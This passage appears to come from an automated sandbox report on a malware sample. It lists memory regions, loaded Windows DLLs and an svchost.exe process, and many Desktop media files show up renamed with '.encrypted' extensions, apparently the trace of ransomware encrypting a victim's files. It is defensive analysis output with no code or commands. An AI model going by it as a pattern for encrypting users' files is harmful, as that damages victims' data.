"\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6304 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 6305 start_va = 0x7d54f60000 end_va = 0x7d550e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d54f60000" filename = "" Region: id = 6306 start_va = 0x7d550f0000 end_va = 0x7d564effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d550f0000" filename = "" Region: id = 6309 start_va = 0x7d54660000 end_va = 0x7d54660fff entry_point = 0x0 region_type = private name = "private_0x0000007d54660000" filename = "" Region: id = 6310 start_va = 0x7d54670000 end_va = 0x7d54670fff entry_point = 0x0 region_type = private name = "private_0x0000007d54670000" filename = "" Region: id = 6311 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6312 start_va = 0x7d564f0000 end_va = 0x7d5665ffff entry_point = 0x0 region_type = private name = "private_0x0000007d564f0000" filename = "" Region: id = 6314 start_va = 0x7d54680000 end_va = 0x7d54680fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d54680000" filename = "" Region: id = 6315 start_va = 0x7d564f0000 end_va = 0x7d565dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d564f0000" filename = "" Region: id = 6316 start_va = 0x7d56650000 end_va = 0x7d5665ffff entry_point = 0x0 region_type = private name = "private_0x0000007d56650000" filename = "" Region: id = 6317 start_va = 0x7d54680000 end_va = 0x7d54683fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d54680000" filename = "" Region: id = 6318 start_va = 0x7d54690000 end_va = 0x7d54696fff entry_point = 0x0 region_type = private name = "private_0x0000007d54690000" filename = "" Region: id = 6323 start_va = 0x7d56660000 end_va = 0x7d5675ffff entry_point = 0x0 region_type = private name = "private_0x0000007d56660000" filename = "" Region: id = 6324 start_va = 0x7ff60bb4e000 end_va = 0x7ff60bb4ffff entry_point = 0x0 region_type = private name = "private_0x00007ff60bb4e000" filename = "" Region: id = 6325 start_va = 0x7ffd15d80000 end_va = 0x7ffd15da9fff entry_point = 0x7ffd15d8bf94 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 6326 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6327 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 6328 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 6329 start_va = 0x7ffd19f90000 end_va = 0x7ffd1a0f3fff entry_point = 0x7ffd19fb20f0 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 6330 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 6331 start_va = 0x7d56760000 end_va = 0x7d568d6fff entry_point = 0x7d567610b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6332 start_va = 0x7d546a0000 end_va = 0x7d546a2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d546a0000" filename = "" Region: id = 6333 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 6334 start_va = 0x7d546b0000 end_va = 0x7d546b0fff entry_point = 0x7d546b0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 6335 start_va = 0x7d546c0000 end_va = 0x7d546c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d546c0000" filename = "" Region: id = 6341 start_va = 0x7ffd160a0000 end_va = 0x7ffd1610ffff entry_point = 0x7ffd160a2b74 region_type = mapped_file name = "photometadatahandler.dll" filename = "\\Windows\\System32\\PhotoMetadataHandler.dll" (normalized: "c:\\windows\\system32\\photometadatahandler.dll") Region: id = 6342 start_va = 0x7ffd19d80000 end_va = 0x7ffd19f12fff entry_point = 0x7ffd19d8b4f0 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 6343 start_va = 0x7ffd167a0000 end_va = 0x7ffd16a4efff entry_point = 0x7ffd167a1ee4 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 6397 start_va = 0x7d546b0000 end_va = 0x7d546bdfff entry_point = 0x7d546b0000 region_type = mapped_file name = "4ghbrlq-jktwuq.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\4ghbrlq-jktwuq.encrypted.bmp") Region: id = 6450 start_va = 0x7d546b0000 end_va = 0x7d546b5fff entry_point = 0x7d546b0000 region_type = mapped_file name = "7tly.encrypted.png" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\7tly.encrypted.png") Region: id = 6493 start_va = 0x7d546b0000 end_va = 0x7d546b9fff entry_point = 0x7d546b0000 region_type = mapped_file name = "b1drbf6bjih2t5r.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\b1drbf6bjih2t5r.encrypted.bmp") Region: id = 6511 start_va = 0x7d565e0000 end_va = 0x7d565f7fff entry_point = 0x7d565e0000 region_type = mapped_file name = "djg5lkzha.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\djg5lkzha.encrypted.bmp") Region: id = 6522 start_va = 0x7d546b0000 end_va = 0x7d546b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d546b0000" filename = "" Region: id = 6523 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6524 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6525 start_va = 0x7d546d0000 end_va = 0x7d546d3fff entry_point = 0x7d546d0000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 6526 start_va = 0x7d565e0000 end_va = 0x7d565f6fff entry_point = 0x7d565e0000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db") Region: id = 6527 start_va = 0x7d56600000 end_va = 0x7d56600fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d56600000" filename = "" Region: id = 6528 start_va = 0x7ffd1b950000 end_va = 0x7ffd1b9dafff entry_point = 0x7ffd1b951024 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 6529 start_va = 0x7ffd1db40000 end_va = 0x7ffd1dd15fff entry_point = 0x7ffd1db410c0 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 6530 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 6531 start_va = 0x7d546d0000 end_va = 0x7d546d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d546d0000" filename = "" Region: id = 6532 start_va = 0x7d56610000 end_va = 0x7d56610fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d56610000" filename = "" Region: id = 6533 start_va = 0x7d56760000 end_va = 0x7d56b59fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007d56760000" filename = "" Region: id = 6534 start_va = 0x7ffd13b90000 end_va = 0x7ffd13c55fff entry_point = 0x7ffd13b90000 region_type = mapped_file name = "mfmp4srcsnk.dll" filename = "\\Windows\\System32\\mfmp4srcsnk.dll" (normalized: "c:\\windows\\system32\\mfmp4srcsnk.dll") Region: id = 6571 start_va = 0x7d56620000 end_va = 0x7d56636fff entry_point = 0x7d56620000 region_type = mapped_file name = "frzbojgkva5c6myj.encrypted.mp4" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\frzbojgkva5c6myj.encrypted.mp4") Region: id = 6580 start_va = 0x7ffd13ab0000 end_va = 0x7ffd13b83fff entry_point = 0x7ffd13ab0000 region_type = mapped_file name = "mfplat.dll" filename = "\\Windows\\System32\\mfplat.dll" (normalized: "c:\\windows\\system32\\mfplat.dll") Region: id = 6585 start_va = 0x7ffd13a00000 end_va = 0x7ffd13a23fff entry_point = 0x7ffd13a00000 region_type = mapped_file name = "rtworkq.dll" filename = "\\Windows\\System32\\RTWorkQ.dll" (normalized: "c:\\windows\\system32\\rtworkq.dll") Region: id = 6586 start_va = 0x7ffd19d70000 end_va = 0x7ffd19d7afff entry_point = 0x7ffd19d71010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 6590 start_va = 0x7d56620000 end_va = 0x7d56636fff entry_point = 0x7d56620000 region_type = mapped_file name = "k9uoo8fw7r.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k9uoo8fw7r.encrypted.jpg") Region: id = 6592 start_va = 0x7d56620000 end_va = 0x7d56635fff entry_point = 0x7d56620000 region_type = mapped_file name = "kqg5xtni4dupero o1m.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\kqg5xtni4dupero o1m.encrypted.jpg") Region: id = 6604 start_va = 0x7ffd137c0000 end_va = 0x7ffd138a4fff entry_point = 0x7ffd137c0000 region_type = mapped_file name = "mfsrcsnk.dll" filename = "\\Windows\\System32\\mfsrcsnk.dll" (normalized: "c:\\windows\\system32\\mfsrcsnk.dll") Region: id = 6631 start_va = 0x7d56620000 end_va = 0x7d56623fff entry_point = 0x7d56620000 region_type = mapped_file name = "n0ie6v_g.encrypted.avi" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.encrypted.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\n0ie6v_g.encrypted.avi") Region: id = 6632 start_va = 0x7d56b60000 end_va = 0x7d56c5ffff entry_point = 0x0 region_type = private name = "private_0x0000007d56b60000" filename = "" Region: id = 6679 start_va = 0x7d56620000 end_va = 0x7d56623fff entry_point = 0x7d56620000 region_type = mapped_file name = "ostre2ekexrlom6.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ostre2ekexrlom6.encrypted.jpg") Region: id = 6692 start_va = 0x7d56620000 end_va = 0x7d56626fff entry_point = 0x7d56620000 region_type = mapped_file name = "uk 6ek_ge.encrypted.png" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\uk 6ek_ge.encrypted.png") Region: id = 6696 start_va = 0x7d56620000 end_va = 0x7d5662ffff entry_point = 0x7d56620000 region_type = mapped_file name = "ur9w.encrypted.mp3" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ur9w.encrypted.mp3") Region: id = 6698 start_va = 0x7d56620000 end_va = 0x7d56627fff entry_point = 0x7d56620000 region_type = mapped_file name = "xe_1j.encrypted.avi" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\xe_1j.encrypted.avi") Region: id = 6699 start_va = 0x7d56620000 end_va = 0x7d56633fff entry_point = 0x7d56620000 region_type = mapped_file name = "ypmyrw0yu.encrypted.mp3" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ypmyrw0yu.encrypted.mp3") Region: id = 6706 start_va = 0x7d56620000 end_va = 0x7d56625fff entry_point = 0x7d56620000 region_type = mapped_file name = "zpipq.encrypted.avi" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\zpipq.encrypted.avi") Region: id = 7036 start_va = 0x7d56620000 end_va = 0x7d5662dfff entry_point = 0x7d56620000 region_type = mapped_file name = "4ghbrlq-jktwuq.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\4ghbrlq-jktwuq.encrypted.bmp") Region: id = 7202 start_va = 0x7d56620000 end_va = 0x7d56625fff entry_point = 0x7d56620000 region_type = mapped_file name = "7tly.encrypted.png" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\7tly.encrypted.png") Region: id = 7222 start_va = 0x7d56620000 end_va = 0x7d56629fff entry_point = 0x7d56620000 region_type = mapped_file name = "b1drbf6bjih2t5r.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\b1drbf6bjih2t5r.encrypted.bmp") Region: id = 7226 start_va = 0x7d56620000 end_va = 0x7d56637fff entry_point = 0x7d56620000 region_type = mapped_file name = "djg5lkzha.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\djg5lkzha.encrypted.bmp") Region: id = 7243 start_va = 0x7d56620000 end_va = 0x7d5662dfff entry_point = 0x7d56620000 region_type = mapped_file name = "4ghbrlq-jktwuq.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\4ghbrlq-jktwuq.encrypted.bmp") Region: id = 7245 start_va = 0x7d56620000 end_va = 0x7d56625fff entry_point = 0x7d56620000 region_type = mapped_file name = "7tly.encrypted.png" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\7tly.encrypted.png") Region: id = 7273 start_va = 0x7d56620000 end_va = 0x7d56629fff entry_point = 0x7d56620000 region_type = mapped_file name = "b1drbf6bjih2t5r.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\b1drbf6bjih2t5r.encrypted.bmp") Region: id = 7277 start_va = 0x7d56620000 end_va = 0x7d56637fff entry_point = 0x7d56620000 region_type = mapped_file name = "djg5lkzha.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\djg5lkzha.encrypted.bmp") Region: id = 7299 start_va = 0x7d56620000 end_va = 0x7d56636fff entry_point = 0x7d56620000 region_type = mapped_file name = "frzbojgkva5c6myj.encrypted.mp4" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\frzbojgkva5c6myj.encrypted.mp4") Region: id = 7301 start_va = 0x7d56620000 end_va = 0x7d56636fff entry_point = 0x7d56620000 region_type = mapped_file name = "k9uoo8fw7r.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k9uoo8fw7r.encrypted.jpg") Region: id = 7303 start_va = 0x7d56620000 end_va = 0x7d56635fff entry_point = 0x7d56620000 region_type = mapped_file name = "kqg5xtni4dupero o1m.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\kqg5xtni4dupero o1m.encrypted.jpg") Region: id = 7304 start_va = 0x7d56620000 end_va = 0x7d56623fff entry_point = 0x7d56620000 region_type = mapped_file name = "n0ie6v_g.encrypted.avi" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.encrypted.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\n0ie6v_g.encrypted.avi") Region: id = 7306 start_va = 0x7d56620000 end_va = 0x7d56623fff entry_point = 0x7d56620000 region_type = mapped_file name = "ostre2ekexrlom6.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ostre2ekexrlom6.encrypted.jpg") Region: id = 7313 start_va = 0x7d56620000 end_va = 0x7d56626fff entry_point = 0x7d56620000 region_type = mapped_file name = "uk 6ek_ge.encrypted.png" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\uk 6ek_ge.encrypted.png") Region: id = 7314 start_va = 0x7d56620000 end_va = 0x7d56627fff entry_point = 0x7d56620000 region_type = mapped_file name = "xe_1j.encrypted.avi" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\xe_1j.encrypted.avi") Region: id = 7317 start_va = 0x7d56620000 end_va = 0x7d56625fff entry_point = 0x7d56620000 region_type = mapped_file name = "zpipq.encrypted.avi" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\zpipq.encrypted.avi") Region: id = 7806 start_va = 0x7d56620000 end_va = 0x7d5662dfff entry_point = 0x7d56620000 region_type = mapped_file name = "4ghbrlq-jktwuq.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\4GhbRlq-JKTwUq.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\4ghbrlq-jktwuq.encrypted.bmp") Region: id = 7809 start_va = 0x7d56620000 end_va = 0x7d56625fff entry_point = 0x7d56620000 region_type = mapped_file name = "7tly.encrypted.png" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\7tly.encrypted.png") Region: id = 7811 start_va = 0x7d56620000 end_va = 0x7d56629fff entry_point = 0x7d56620000 region_type = mapped_file name = "b1drbf6bjih2t5r.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\b1drbf6bjih2t5r.encrypted.bmp") Region: id = 7813 start_va = 0x7d56620000 end_va = 0x7d56621fff entry_point = 0x7d56620000 region_type = mapped_file name = "cchnli nseui.encrypted.mp3" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\cChNLI nseUI.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\cchnli nseui.encrypted.mp3") Region: id = 7822 start_va = 0x7d56620000 end_va = 0x7d56637fff entry_point = 0x7d56620000 region_type = mapped_file name = "djg5lkzha.encrypted.bmp" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\DjG5LKzHA.encrypted.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\djg5lkzha.encrypted.bmp") Region: id = 7823 start_va = 0x7d56620000 end_va = 0x7d56636fff entry_point = 0x7d56620000 region_type = mapped_file name = "frzbojgkva5c6myj.encrypted.mp4" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.encrypted.mp4" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\frzbojgkva5c6myj.encrypted.mp4") Region: id = 7824 start_va = 0x7d56620000 end_va = 0x7d56620fff entry_point = 0x7d56620000 region_type = mapped_file name = "jmyon8-h.mp3" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\JMyoN8-H.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\jmyon8-h.mp3") Region: id = 7826 start_va = 0x7d56620000 end_va = 0x7d56636fff entry_point = 0x7d56620000 region_type = mapped_file name = "k9uoo8fw7r.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k9uoo8fw7r.encrypted.jpg") Region: id = 7829 start_va = 0x7d56620000 end_va = 0x7d56635fff entry_point = 0x7d56620000 region_type = mapped_file name = "kqg5xtni4dupero o1m.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\kqg5xtni4dupero o1m.encrypted.jpg") Region: id = 7830 start_va = 0x7d56620000 end_va = 0x7d56623fff entry_point = 0x7d56620000 region_type = mapped_file name = "n0ie6v_g.encrypted.avi" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\n0ie6V_g.encrypted.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\n0ie6v_g.encrypted.avi") Region: id = 7833 start_va = 0x7d56620000 end_va = 0x7d56623fff entry_point = 0x7d56620000 region_type = mapped_file name = "ostre2ekexrlom6.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ostre2ekexrlom6.encrypted.jpg") Region: id = 7835 start_va = 0x7d56620000 end_va = 0x7d56626fff entry_point = 0x7d56620000 region_type = mapped_file name = "uk 6ek_ge.encrypted.png" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\uk 6ek_ge.encrypted.png") Region: id = 7836 start_va = 0x7d56620000 end_va = 0x7d5662ffff entry_point = 0x7d56620000 region_type = mapped_file name = "ur9w.encrypted.mp3" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ur9w.encrypted.mp3") Region: id = 7837 start_va = 0x7d56620000 end_va = 0x7d56627fff entry_point = 0x7d56620000 region_type = mapped_file name = "xe_1j.encrypted.avi" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\xe_1j.encrypted.avi") Region: id = 7838 start_va = 0x7d56620000 end_va = 0x7d56633fff entry_point = 0x7d56620000 region_type = mapped_file name = "ypmyrw0yu.encrypted.mp3" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ypmyrw0yu.encrypted.mp3") Region: id = 7839 start_va = 0x7d56620000 end_va = 0x7d56625fff entry_point = 0x7d56620000 region_type = mapped_file name = "zpipq.encrypted.avi" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\zpipq.encrypted.avi") Thread: id = 567 os_tid = 0x6ac Thread: id = 573 os_tid = 0x6c8 Thread: id = 574 os_tid = 0x6cc Thread: id = 575 os_tid = 0x6d0 Thread: id = 576 os_tid = 0x6d4 Thread: id = 579 os_tid = 0x6e0 Thread: id = 580 os_tid = 0x6e4 Process: id = "65" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x6275c000" os_pid = "0x7b4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceAndNoImpersonation" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\FDResPub" [0xa], "NT SERVICE\\QWAVE" [0xa], "NT SERVICE\\SCardSvr" [0xa], "NT SERVICE\\SensrSvc" [0xa], "NT SERVICE\\SSDPSRV" [0xa], "NT SERVICE\\TimeBroker" [0xe], "NT SERVICE\\upnphost" [0xa], "NT SERVICE\\wcncsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0001a255" [0xc000000f], "LOCAL" [0x7] Region: id = 6782 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6783 start_va = 0x6385c40000 end_va = 0x6385c5ffff entry_point = 0x0 region_type = private name = "private_0x0000006385c40000" filename = "" Region: id = 6784 start_va = 0x6385c60000 end_va = 0x6385c6efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006385c60000" filename = "" Region: id = 6785 start_va = 0x6385c70000 end_va = 0x6385ceffff entry_point = 0x0 region_type = private name = "private_0x0000006385c70000" filename = "" Region: id = 6786 start_va = 0x6385cf0000 end_va = 0x6385cf3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000006385cf0000" filename = "" Region: id = 6787 start_va = 0x7ff617a60000 end_va = 0x7ff617a82fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff617a60000" filename = "" Region: id = 6788 start_va = 0x7ff617a8c000 end_va = 0x7ff617a8dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617a8c000" filename = "" Region: id = 6789 start_va = 0x7ff617a8e000 end_va = 0x7ff617a8efff entry_point = 0x0 region_type = private name = "private_0x00007ff617a8e000" filename = "" Region: id = 6790 start_va = 0x7ff618320000 end_va = 0x7ff61832bfff entry_point = 0x7ff61832218c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 6791 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6792 start_va = 0x6385d00000 end_va = 0x6385d00fff entry_point = 0x0 region_type = pagefile_backed name = 